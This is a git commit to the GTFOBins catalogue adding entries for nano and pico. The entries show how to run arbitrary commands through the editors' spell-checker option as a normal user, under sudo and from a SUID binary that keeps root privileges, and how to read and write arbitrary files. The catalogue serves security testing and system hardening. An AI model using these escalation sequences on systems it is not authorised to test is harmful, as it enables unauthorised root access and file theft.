Add nano and pico

This commit is contained in:
Emilio Pinna 2018-05-29 18:23:33 +01:00
parent 6d780c24c4
commit d8c9db3561
2 changed files with 74 additions and 0 deletions

37
_gtfobins/nano.md Normal file
View File

@ -0,0 +1,37 @@
---
functions:
execute-non-interactive:
- description: After running this exit the editor to see the command output.
code: |
COMMAND=id
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
nano -s $TF
^T
sudo-enabled:
- description: After running this exit the editor to see the command output.
code: |
COMMAND=id
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo nano -s $TF
^T
suid-enabled:
- description: After running this exit the editor to see the command output.
code: |-
COMMAND=id
TF=$(mktemp)
echo $'#!/bin/sh -p\n'"$COMMAND" > $TF
chmod +x $TF
./nano -s $TF
^T
file-read:
- code: |
nano file_to_read
file-write:
- code: |
nano file_to_write
^O
---

37
_gtfobins/pico.md Normal file
View File

@ -0,0 +1,37 @@
---
functions:
execute-non-interactive:
- description: After running this exit the editor to see the command output.
code: |
COMMAND=id
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
pico -s $TF
^T
sudo-enabled:
- description: After running this exit the editor to see the command output.
code: |
COMMAND=id
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo pico -s $TF
^T
suid-enabled:
- description: After running this exit the editor to see the command output.
code: |-
COMMAND=id
TF=$(mktemp)
echo $'#!/bin/sh -p\n'"$COMMAND" > $TF
chmod +x $TF
./pico -s $TF
^T
file-read:
- code: |
pico file_to_read
file-write:
- code: |
pico file_to_write
^O
---